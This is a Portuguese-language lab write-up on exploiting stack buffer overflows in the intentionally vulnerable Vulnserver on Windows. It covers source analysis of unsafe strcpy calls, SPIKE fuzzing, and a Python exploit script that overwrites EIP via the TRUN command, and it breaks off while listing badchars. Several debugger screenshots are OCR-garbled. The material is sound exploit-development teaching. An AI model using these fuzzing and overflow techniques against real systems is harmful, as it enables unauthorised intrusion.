# BUFFER OVERFLOW EM WINDOWS

# https://hastur666.github.io/Windows\_BoF/

| BUFFER OVERFLOW EM WINDOWS                          |
|---|
| SOBRE O QUE ESTE ESTUDO SE TRATA 4                  |
| SOBRE O QUE ESTE ESTUDO NÃO SE TRATA4               |
| LABORATÓRIO4  |
| OBSERVAÇÕES INPORTANTES5                            |
| MATERIAL  |
| ANÁLISE DO CÓDIGO6                                  |
| ENUMERAÇÃO10  |
| COMANDO TRUN  |
| FUZZING   |
| EXPLORAÇÃO14  |
| IDENTIFICANDO BADCHARS                              |
| ENCONTRANDO UM BOM ENDEREÇO DE RETORNO20            |
| INSERINDO O ENDEREÇO DE RETORNO NO PAYLOAD21        |
| GERANDO O SHELLCODE E ORGANIZANDO O EXPLOIT         |
| OBTENDO ACESSO REMOTO                               |
| COMANDO GTER  |
| FUZZING   |
| EXPLORAÇÃO28  |
| ENCONTRANDO UM BOM ENDEREÇO DE RETORNO              |
| INSERINDO O ENDEREÇO DE RETORNO NO PAYLOAD          |
| PULANDO ENTRE ENDEREÇOS DE MEMÓRIA36                |
| ENCONTRANDO A DISTÂNCIA COM IMMUNITY DEBBUGER       |
| Entendendo o payload                                |
| ENCONTRANDO A DISTÂNCIA DO SALTO COM MSF-NASM_SHELL |
| ANATOMIA DO REVERSE SHELL                           |
| ATUALIZANDO E ORGANIZANDO NOSSO EXPLOIT             |
| COMANDO GMON  |
| FUZZING   |
| STRUCTURE EXCEPTION HANDING56                       |
| EXPLORANDO O SEH                                    |
| ESTRUTURA LIFO                                      |
| PULANDO DE VOLTA PARA O BUFFER INICIAL64            |
| COMANDO KSTET                                       |
| FUZZING   |

### https://hastur666.github.io/Windows\_BoF/

| ESTÁGIO 1: REUSO DE SOCKET           | 75 |
|--------------------------------------|----|
| ESTÁGIO 2: INJETANDO O REVERSE SHELL | 79 |
| COMANDO LTER                         | 81 |
| FUZZING                              | 82 |
| PROCURANDO BADCHARS                  | 88 |
| CONCLUSÃO                            | 95 |

### **BUFFER OVERFLOW EM WINDOWS**

Neste laboratório, vamos explorar várias técnicas de buffer overflow no SO Windows, o intuito é de entender a mecânica por trás de aplicações e programas e encontrar uma forma de manipulá-las.

Como programa alvo desta PoC, vamos utilizar o Vulnserver.exe, um programa intencionalmente vulnerável para exploração.

Vulnserver é um servidor TCP para Windows desenvolvido por Stephen Bradshal, seu GitHub pode ser acessado <u>aqui</u>.

#### SOBRE O QUE ESTE ESTUDO SE TRATA

Este estudo trata da exploração e entendimento do fluxo de memória de um programa no SO Windows. Como interpretar um Debugger e como nos aproveitar de funções vulneráveis à buffer overflow. Dando uma visão geral sobre criação de exploits e base para análise e desenvolvimento de malwares.

#### SOBRE O QUE ESTE ESTUDO NÃO SE TRATA

Este estudo não vai ensinar Assembly, vamos somente nos aprofundar na linguagem ao ponto que possamos entender seu funcionamento. Também não vamos utilizar técnicas avançadas como bypass de ASLR, portanto esta proteção estará desabilitada em nossa máquina alvo.

Na maior parte dos cenários reais, não teremos o código fonte do programa para analisarmos, mas como se trata de um cenário de estudos, vamos analisar o código fonte para entender alguns pontos.

#### LABORATÓRIO

Para este laboratório, utilizaremos:

- Uma máquina virtual Windows 10 21H1 x64 como alvo;
- O programa vulnerável "Vulnserver.exe";
- O debbuger Immunuty na máquina alvo;
- O plugin mona.py para o Immunity;
- Uma máquina Kali Linux 2021.2 como atacante;
- Bastante Python;
- A suite Metasploit Framework;

#### **OBSERVAÇÕES IMPORTANTES**

Existem várias outras técnicas para explorar as mesmas vulnerabilidades apresentadas neste estudo. Os endereços de memória e os saltos matemáticos que faremos, podem mudar dependendo da versão ou atualização do SO alvo, porém a mecânica será sempre a mesma.

#### MATERIAL

Para fins de organização, este estudo será dividido em partes, cada um abordando um comando diferente do Vulnserver, aumentando a cplexidade gradativamente, e também será disponibilizado um PDF com a PoC completa. abaixo os links para cada parte.

- Análise do código
- Comando TRUN
- Comando GTER
- Comando GMON
- Comando KSTET
- Comando LTER
- Conclusão

#### ANÁLISE DO CÓDIGO

Ao analisarmos o código vulnerver.c podemos encontrar algumas funções inseguras em C. Estas são responsáveis por permitir o buffer overflow. No código, podemos encontrar as seguintes funções.

```
void Function1(char *Input) {
        char Buffer2S[140];
        strcpy(Buffer2S, Input);
}
void Function2(char *Input) {
        char Buffer2S[60];
        strcpy(Buffer2S, Input);
}
void Function3(char *Input) {
        char Buffer2S[2000];
        strcpy(Buffer2S, Input);
}
void Function4(char *Input) {
        char Buffer2S[1000];
        strcpy(Buffer2S, Input);
}
```

As quatro funções utilizam a "strcpy" que é uma função vnlnerável em C. Esta função copia o valor de uma entrada para um buffer, mas esta função não verifica se o tamanho da entrada é o mesmo ou inferior ao buffer de destino. Portanto, se uma entrada for repassada e seu tamanho for maior que o buffer de destino, teremos um buffer overflow que irá sobrescrever outros endereços de memória.

Continuando a análise do código, podemos identificar onde estas funções são chamadas pelo programa.

# https://hastur666.github.io/Windows BoF/

```
else if (strncmp(RecvBuf, "KSTET ", 6) == 0) {
    char *KstetBuf = malloc(100);
        strncpy(KstetBuf, RecvBuf, 100);
        memset(RecvBuf, 0, DEFAULT_BUFLEN);
        Function2(KstetBuf);
        SendResult = send( Client, "KSTET SUCCESSFUL\n", 17, 0 );
    }
}
```

Essa função nos diz que se recebemos nosso buffer seguido de "KSTET " o programa vai alocar 100 bytes na memória, copia 100 bytes para um novo buffer e reseta o buffer recebido para 0. Logo em seguida chama a "Function2", uma de nossas funções vulneráveis.

Porém, na primeira imagem vimos que a Fnction2 aceita somente 60 bytes, se o parâmetro envia 100 bytes, temos um overflow de 40 bytes no buffer.

Portanto identificamos que as vulnerabiidades do programa vêm do buffer de entrada até o buffer overflow, vamos tentar identificar outras partes do programa com partes vulneráveis.

# https://hastur666.github.io/Windows\_BoF/

O comanto "TRUN" tem um funcionamento parecido com KSTET, porém faz uma segunda validação se o caractere "." está presente no buffer, só após a confirmação ele chama a "Function3" vulnerável.

```
else if (strncmp(RecvBuf, "LTER ", 5) == 0) {
  char *LterBuf = malloc(DEFAULT BUFLEN);
                memset(LterBuf, 0, DEFAULT BUFLEN);
                i = 0;
                while(RecvBuf[i]) {
                  if ((byte)RecvBuf[i] > 0x7f) {
                                   LterBuf[i] = (byte)RecvBuf[i] - 0x7f;
                                } else {
                                                 LterBuf[i] = RecvBuf[i];
                                }
                                i++;
                }
                for (i = 5; i < DEFAULT_BUFLEN; i++) {</pre>
                  if ((char)LterBuf[i] == '.') {
                                   Function3(LterBuf);
                                                 break;
                                }
                }
                memset(LterBuf, 0, DEFAULT BUFLEN);
                SendResult = send( Client, "LTER COMPLETE\n", 14, 0 );
}
```

O comando "LTER" copia o buffer recebido para a variável "LterBuf" e depois subrai 0x7f (127) bytes caso o buffer seja maior que 0x7f. Depois disso o código verifica se o caractere "." está presente, caso seja verdadeiro, ele chama a "Function3" vulnerável.

```
else if (strncmp(RecvBuf, "GTER ", 5) == 0) {
```

```
char *GterBuf = malloc(180);
memset(GdogBuf, 0, 1024);
strncpy(GterBuf, RecvBuf, 180);
memset(RecvBuf, 0, DEFAULT_BUFLEN);
Function1(GterBuf);
SendResult = send( Client, "GTER ON TRACK\n", 14, 0 );
```

O comando "GTER" tem um funcionamento mais simples, ele copia 180 bytes do buffer de entrada para o buffer temporário "GterBuf" e depois envia seuconteúdo para a "Function1". Como vimos que a Function1 tem um espaço de 140 bytes, temos o buffer overflow.

```
else if (strncmp(RecvBuf, "HTER ", 5) == 0) {
                               char THBuf[3];
                               memset(THBuf, 0, 3);
                               char *HterBuf = malloc((DEFAULT_BUFLEN+1)/2);
                               memset(HterBuf, 0, (DEFAULT_BUFLEN+1)/2);
                               i = 6;
                               k = 0;
                               while ((RecvBuf[i]) && (RecvBuf[i+1])) {
                                       memcpy(THBuf, (char *)RecvBuf+i, 2);
                                       unsigned long j = strtoul((char *)THBuf, NULL, 16);
                                      memset((char *)HterBuf + k, (byte)j, 1);
                                      i = i + 2;
                                      k++;
                               }
                               Function4(HterBuf);
                               memset(HterBuf, 0, (DEFAULT_BUFLEN+1)/2);
                               SendResult = send( Client, "HTER RUNNING FINE\n", 18, 0
);
```

},

}

O comando "HTER" é o que tem a maior complexidade, pois ele faz a chamada para a "Function4" após um laço while e nossa faze de exploração precisa entender exatamente como este laço se comporta.

Nesse ponto, identificamos no código do programa, todas as funções e comandos vulneráveis, agora podemos passar para a exploração.

#### ENUMERAÇÃO

O vulnserver.exe escuta conexões na porta 9999 da nossa máquina Windows alvo.



Através na nossa máquina Kali, podemos nos conectar utilizando o netcat.

## https://hastur666.github.io/Windows BoF/

-(hastur®hastur)-[~/Windows\_BoF] -\$ nc -v 192.168.1.30 9999 192.168.1.30: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.1.30] 9999 (?) open Welcome to Vulnerable Server! Enter HELP for help. HELP Valid Commands: HELP STATS [stat\_value] RTIME [rtime\_value] LTIME [ltime\_value] SRUN [srun\_value] TRUN [trun\_value] GMON [gmon\_value] GDOG [gdog\_value] KSTET [kstet\_value] GTER [gter\_value] HTER [hter\_value] LTER [lter\_value] KSTAN [lstan\_value] EXIT 

Ao enviarmos o comando "HELP", o programa nos responde com todos os camandos aceitos, incluindo os vulneráveis que já identificamos. Pela resposta podemos identificar que ele trabalha com o modelo "comando argumento", que no caso será comando buffer.

Na próxima etapa, iniciaremos a exploração das vulnerabilidades.

### COMANDO TRUN

O comando TRUN, assim como os demais, recebe um argumento e dá uma resposta.

```
(hastur@hastur)-[~/Windows_BoF]
$ nc 192.168.1.30 9999
Welcome to Vulnerable Server! Enter HELP for help.
TRUN
UNKNOWN COMMAND
TRUN teste
TRUN COMPLETE
```

Sabendo de seu funcionamento, precisamos fazer o fuzzing do comando e descobrir se conseguimos causar o crash no programa.

#### FUZZING

Para fazer o fuzzing, vamos utilizar o protocolo Spike. Para tanto, vamos criar nosso script.

trun.spk:

```
s_string("TRUN ");
```

s\_string\_variable("\*");

Onde:

- **s\_string**: é um parâmetro imutável, no nosso caso, sempre irá enviar "TRUN " (não esqueça do espaço após o TRUN);

- **s\_string\_variable**: é um parâmetro que indica o que será mudato em cada envio.

Antes de enviar o fuzzing, vamos iniciar o wireshark monitorando nossa conexão.

| ٦    |          |                 |              |              |      |             |       |          |       |       | _            |              |       |              |      |       |              |           |           |      |       |                 |       |   | Capturi | ing fror | n wlar | 0        |     |         |      |      |      |      |       |       |       |       |    |
|------|----------|-----------------|--------------|--------------|------|-------------|-------|----------|-------|-------|--------------|--------------|-------|--------------|------|-------|--------------|-----------|-----------|------|-------|-----------------|-------|---|---------|----------|--------|----------|-----|---------|------|------|------|------|-------|-------|-------|-------|----|
| File | Ēd       | it <u>V</u> iev | <u>ଜ</u> ନ   | 0 0          | aptu | re <u>A</u> | nalyz | ze s     | tatis | stics | Te           | leph         | iony  | Wirel        | ess  | Tool  | s <u>H</u> e | elp       | - 11      |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 | 9            | ± I          |      | ×           | G     | α        | ÷     | 7     | -14          | •••          | ÷ -   | •            |      |       | •            |           | 1         | 1    |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| . ir | .dst     | == 192          | .168.        | 1.27         |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| No.  |          | Time            |              |              | 5    | ourc        | e     |          |       |       | h            | Desti        | inati | n            |      |       | Pro          | toco      | l Le      | ngth | Info  |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| 5    | <u> </u> | 9 3.05          | 5880<br>7121 | 7583         | 1    | 192.        | 168.  | 1.1      | 2     |       |              | 157.         | .240  | .12.5        | 3    |       | TL           | Sv1.<br>D | 2         | 106  | Appl  | icatio          | n Dat | a<br>International and the second | Seg=1   | Ack      | - 11   | Win=555  | Len | -0 19   | Sval | -210 | 2401 | 1223 | TSO   | or=11 | 70525 | 515   |    |
|      | 1        | 1 3.2           | 7890         | 3809         | 1    | 157.3       | 240.  | 12.5     | 53    |       |              | 192.         | . 168 | .1.12        |      |       | TL           | Sv1.      | 2         | 113  | Appl  | icatio          | n Dat | a   | Seq-1   | AUN      | -41    | W111-303 | Len | -0 1.   | Svat | -313 | 340. | 1333 | 130   |       | 1052  | 515   |    |
| L    | 1        | 2 3.2           | 7894         | 3871         | 1    | 192.3       | 168.  | 1.1      | 2     |       |              | 157.         | .246  | .12.5        | 3    |       | TC           | Р         |           | 66   | 5078  | 8 → 44          | 3 [AC | K]  | Seq=4   | 1 Ac     | (=48   | Win=12   | 598 | Len=0   | 0 TS | val= | 1170 | 0525 | 735   | TSecr | =3193 | 49147 | 77 |
|      | 1        | 88.18           | 3610         | 0933<br>6285 | 1    | 192.1       | 168.  | 9.30     | 2     |       |              | 192          | 48.2  | 29.36        |      |       | TL           | Sv1.      | 2         | 105  | Appl  | ication<br>3486 | Dat   | a<br>K1   | Sen=1   | Ack      | -40    | Win=442  | Len | - 9 Т 9 | Sval | -804 | 568  | 59 T | Secra | =3437 | 2213  | 14    |    |
| L    |          | 50.00           | 1004         | 0203         |      | 2.4         | 0.22  | 9.00     | ,     |       | -            | 132.         | . 100 | .1.14        |      | _     | 10           |           |           | 00   | 440   | - 3400          |       | ·K ]  | Seq-1   | Aun      | 40     | WINHARD  | Lun | -0 1.   | Svar | -004 | 500. | 55 . | 3601  | -3451 | 2210  | 1     |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| > F  | came     | 9: 1            | 96 h         | wtes         | on   | win         | e (8  | 48       | bits  | 41    | 106          | hvi          | tes   | capti        | ir é | d (84 | a hi         | ts)       | on        | inte | rface | wlane           | id    |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| + E  | ther     | net I           | I, S         | irc:         | Int  | elCo        | r_0c  | ::87     | :bc   | (5c   | :cd          | :5b          | :00:  | 87:bc        | ;),  | Dst:  | Rea          | ltek      | (S_8      | b:80 | :ab ( | 00:e0:          | 4c:8  | 5:86  | e:ab)   |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| + I  | nter     | net P           | roto         | col          | Ver  | sion        | 4,    | Src      | : 19  | 92.1  | 68.          | 1.1          | 2, [  | st: 1        | 157  | .240. | 12.5         |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      | rans     | missi           | on C         | ontr         | oll  | Prot        | ocol  | l, s     | rc I  | Port  | : 5          | 078          | 8, C  | st Po        | ort  | : 443 | , Se         | d: 1      | L, A      | ck:  | 1, Le | n: 40           |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      | ans      | porc            | Laye         | 1 50         | cur. | LLÀ         |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| 000  |          | 00 00           | 40.1         | eh er        | a ab | 50          | ed.   | Sh       | 90    | 97 1  |              | 19 0         | 10 4  | 5 00         |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| 001  | 0        | 90 5c           | bf           | ad 40        | 00   | 40          | 06    | 0f       | 15    | c0 a  | a8 (         | 01 0         | Dc 9  | d f0         |      | 1.0   | è            |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| 002  | 0 0      | 9c 35           | c6 (         | 64 01        | 1 bb | Of          | 84    | b2       | 2b    | 65 6  | 67 2         | 2b e         | 3 8   | 9 18         |      | 5 d   |              | +eg       |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| 003  | 0        | 31 36<br>Bd ea  | 6C .         | 28 00        | 9 00 | 01          | 01    | 08<br>7e | 0a    | 45 0  | 04 (<br>ag 3 | 20 4<br>36 6 | 10 D  | e 58<br>6 85 | 1    | .6L(  | #            | E         | K X<br>6d |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| 005  | 0        | 31 6f           | Od :         | 15 16        | 5 eb | dd          | 9f    | 14       | c7    | 41 1  | f0 (         | 52 6         | 50 1  | b 4c         | 1    |       |              | - A -     | b` L      |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
| 006  | θ        | e1 b3           | 70           | b5 05        | 5 6d | cf          | de    | 88       | dd    |       |              |              |       |              |      |       | 1            |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |
|      |          |                 |              |              |      |             |       |          |       |       |              |              |       |              |      |       |              |           |           |      |       |                 |       |   |         |          |        |          |     |         |      |      |      |      |       |       |       |       |    |

Com o programa iniciado na máquina Windows, vamos enviar nosso fuzzing com o script "generic\_sender\_tcp".

```
-(hastur@hastur)-[~/.../estudos/binarios/windo
_$ generic_send_tcp 192.168.1.30 9999 trun.spk
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
Fuzzing Variable 0:4
Variablesize= 3
Fuzzing Variable 0:5
Variablesize= 2
Fuzzing Variable 0:6
Variablesize= 7
Fuzzing Variable 0:7
Variablesize= 48
Fuzzing Variable 0:8
Variablesize= 45
Fuzzing Variable 0:9
Variablesize= 49
Fuzzing Variable 0:10
Variablesize= 46
^C
```

Podemos ver que na terceira iteração, o programa parou de responder, automaticamente fechou na máquina Windows. Analisando o dump no WIreshark, podemos verificar o que foi enviado.

### https://hastur666.github.io/Windows\_BoF/

| Z Win  | reshark · Follow TCP Stream (tcp.stream eq 8) · wlan0 | _ = ×    |
|--|---|----------|
|  |   |          |
| TRUN //  |   |          |
|  |   | AAAAA    |
|  |   | AAAAA    |
|  |   | AAAAA    |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                           |   | AAAAA    |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                           |   | AAAAA    |
| алаалалалалалалалалалалалалалалалалалала                         |   | AAAAA    |
| ал                         |   | AAAAA    |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                           |   | AAAAA    |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                           |   | AAAAA    |
| <u>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</u>                     |   | AAAAA    |
|  |   | AAAAA    |
|  |   |          |
|  |   | 00000    |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                           |   | AAAAA    |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                           |   | AAAAA    |
|  |   | AAAAA    |
| алаалалалалалалалалалалалалалалалалалала                         |   | AAAAA    |
| ал                         |   | AAAAA    |
| ал                         |   | AAAAA    |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                           |   | AAAAA    |
|  |   | 00000    |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                           |   | AAAAA    |
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                           |   | AAAAA    |
|  |   | AAAAA    |
|  |   | AAAAA    |
| ал                         |   | AAAAA    |
|  |   | AAAAA    |
| Packet 221. 1 client pkt, 1 server pkt, 1 turn. Click to select. |   |          |
| Entire conversation (5,061 bytes) * Show da                      | ata as ASCII 🔹 Strea                                  | am 8 🗘   |
| Find:  |   | ind Next |
|  |   |          |
|  | Filter Out This Stream Print Save as Back Close       | Help     |
|  |   |          |

Podemos observar que o buffer estouruou com 5061 bytes, sendo que o nosso buffer inicia com "/.../". Conforme haviamos estudado no código do programa, o comando TRUN checa se o caractere "." está presente em nosso buffer, o que foi comprovato pelo teste de fuzzing.

#### EXPLORAÇÃO

Agora que sabemos que o programa sofreu um crash com 5061 bytes, já incluindo o comando "TRUN /.../", podemos iniciar o esboço do exploit.

| хр | ltrun | .py: |
|----|-------|------|
|----|-------|------|

| #!/usr/bin/python3  |
|---|
| import socket   |
| # variaveis de conexão<br>ip = "192.168.1.30"<br>porta = 9999   |
| # tamanho do offset encontrado no fuzzing<br>offset = 5061      |
| # payload a ser enviado<br>payload = b"TRUN //" + b"A" * offset |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)           |
| s.send(payload + b"\r\n") # envia o payload                     |
| s close() # fecha conexao                                       |

Precisamos iniciar o vulsnerver, mas agora com o Immunity Debbuger.

| 🔹 Immunity Debugger 🎝 ulnserver.exe - [CPU - main thread, module vulnserv]   | - 0 ;              | ×   |
|--|--------------------|-----|
| C File View Debug Plugins ImmLib Options Window Help Jobs  | - 6                | 5 × |
| 🕒 🐝 🗉 🔣 📢 🗙 🕨 📕 🕌 👯 🛃 🚽 🚽 👌 e m t w h c P k b z r s ? Code auditor and software assessment specialist needed   |                    |     |
| 004401130       \$ 55       PUSN EEP       PU   | Κ Κ                | <   |
| 0 8 Fasters terror and terro |                    |     |
| Intraction         Intract  | k<br>•om ntdl1.??₿ |     |
|  |                    | ~   |

Com tudo pronto, podemos rodar nosso script.

| 4 Immunity Debugger - vulnserver.exe - [CPU - thread 00001AE8]  | - 0 ×   |
|---|---|
| C File View Debug Plugins ImmLib Options Wind Help Jobs   | _ 8 ×   |
| 🗁 🕉 🗉 🔣 📢 🗙 🕨 II 🖣 🖣 🔰 🖊 🚽 📲 lemtwhcPkbzrs  | Code auditor and software assessment specialist needed  |
|   | Registere (FPU)         <         <         <         <         <         <         <         <         <  <  |
|   | 0 0 LastErr ERROR_SUCCESS <00000000>  |
| Address         Hex dump         PSCI1           80403308         78         22         40         00 </td <td>COMBEPSCI 4114141 AAAA           0006F9CC 4114141 AAAA           0006F9DC 4114141 AAAA           00006F9DC 4114141 AAAA</td> | COMBEPSCI 4114141 AAAA           0006F9CC 4114141 AAAA           0006F9DC 4114141 AAAA           00006F9DC 4114141 AAAA |
| <u>144443138 44 44 44 44 44 44 44 44 44</u>   |   |
| [16:55:22] Access violation when executing [41414141] - use Shift+F7/F8/F9  | to pass exception to program Paused   |

Podemos observar que nosso payload sobrescreveu o EIP e o ESP com nossos "A", nesse momento encontramos o buffer overflow "vanilla", que é a forma mais simples de buffer overflow.

Sabendo disso, precisamos encontrar o offset preciso para atingir o EIP, podemos criar um pattern cíclico com o msf-pattern\_create.



Vamos inserí-lo em nosso script.

xpltrun.py:

#!/usr/bin/python3

import socket

# variaveis de conexao ip = "192.168.1.30" porta = 9999

# tamanho do offset encontrado no fuzzing offset = 5061

# payload a ser enviado
payload = b"TRUN /../"
payload += b"<o patter vai aqui>"

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) # cria o socket s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

```
s.close() # fecha conexao
```

Agora vamos rodar o script novamente, e monitorar com o Immunity Debugger.

| 4 Immunity Debugger - Guinserver.exe - [CPU - thread 00000154]   | -                                       | o ×                                    |
|--|---|--|
| Elle View Debug Plugins ImmLib Options Window Help Jobs  |   | - 8 ×                                  |
| ▲ Registers (FPU)  ► Registers (FPU)  ► RX 600EF1E8 RSCI1 'TRUN //Au80Aa1Aa2Aa3Aa4Aa EAX 600EF1E8 RSCI1 'TRUN //Au80Aa1Aa2Aa3Aa4Aa EDX 600606000 EDX 600606000 EDX 600606000 EDX 600606000 EDX 600753 ASCI1 ''Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp EST 600401848 vulnaerv.80401848 EDI 600401843 vulnaerv.80401848 EDI 600401843 vulnaerv.80401848 EDI 600401843 vulnaerv.80401848 EDI 800401843 vulnaerv.80401848 EDI 800401845 </td <td><u>८ ८</u><br/>5Aa6Aa7Aa8I<br/>7Cp8Cp9CqØ</td> <td><u>Қ</u><br/>Аңуарыарыары<br/>Сқасқазсқа</td> | <u>८ ८</u><br>5Aa6Aa7Aa8I<br>7Cp8Cp9CqØ | <u>Қ</u><br>Аңуарыарыары<br>Сқасқазсқа |
| Rddrees       Hex dump       ASCII       CPC       BODEFPCG       433%F43       C.9C         B04433000       7% DIF FF FF       FF       60  |   |  |
| [17:02:45] Access violation when executing [386F4337] - use Shift+F7/F8/F9 to pass exception to program  | P                                       | aused                                  |

Novamente o programa sofreu crash, mas temos o endereço do EIP: 386F4337. Vamos consultar no msf-pattern\_offset para identificar o endereço preciso para sobrescrever o ESP.



Temos o offset preciso para atingir o EIP: 2003 bytes. Vamos atualizar nosso exploit e verificar, vamos inserir 2003 "A" + 4 "B" e o restante de "C", se o offset estiver correto, vamos preencher o EIP com "42424242" (B em hexa), e o ESP com vários "C".

xpltrun.py:

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# tamanho do offset encontrado no fuzzing
offset = 5061
# payload a ser enviado
payload = b"TRUN /../" # funcao inicial
payload += b"A"*2003 # preenchimento do buffer
payload += b"B"*4 # sobrescreve EIP
payload += b"C" * (5061 - 2003 - 4) # sobrescreve ESP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo
s.send(payload + b"\r\n") # envia o payload
s.close() # fecha conexao
```

Vamos reiniciar o vulnserver no Immunity debbuger e rodar nosso script novamente.

| 🔹 Immunity Debugger - vulnserver.exe - [Cf[၂] - thread 000018C4]  | - 0 ×                 |
|---|-----------------------|
| C File View Debug Plugins ImmLib Options Window Help Jobs   | - 8 ×                 |
| Company and the second |                       |
| <pre></pre>   | айаалайаалайаалайаала |
| 0 8 Laster EKKK_SUCCESS (00000000)  |                       |
| 000000000000000000000000000000000000  |                       |
|   | •                     |
| [17:10:56] Access violation when executing [42424242] - use Shift+F7/F8/F9 to pass exception to program   | Paused                |

Conseguimos sobrescrever com precisão o EIP com "42424242" e o ESP com nossa sequencia de "C". A partir de agora, temos total controle sobre como o programa se comporta, precisamos encontrar quais são os badchars.

#### **IDENTIFICANDO BADCHARS**

Para gerar uma sequência com todos os caracteres possíveis, vamos utilizar a ferramenta "badchars" do python, para instalar basta executar "pip install badchars".

| <pre>(hastur@hastur)-[~//estudos/binarios/windows/VulnServer]</pre>   |
|---|
| \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\   |
| x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x2/\x28\x29\x2a\x2b\x2c\x2d\x2e\x21\x30\x31\x32\x33\x34\x35\x36\x3/\x38<br>39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x5  |
| 5\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71<br>\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x84\x85\x86\x87\x88\x81\x82\x84\x85\x86\x81 |
| x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\x   |
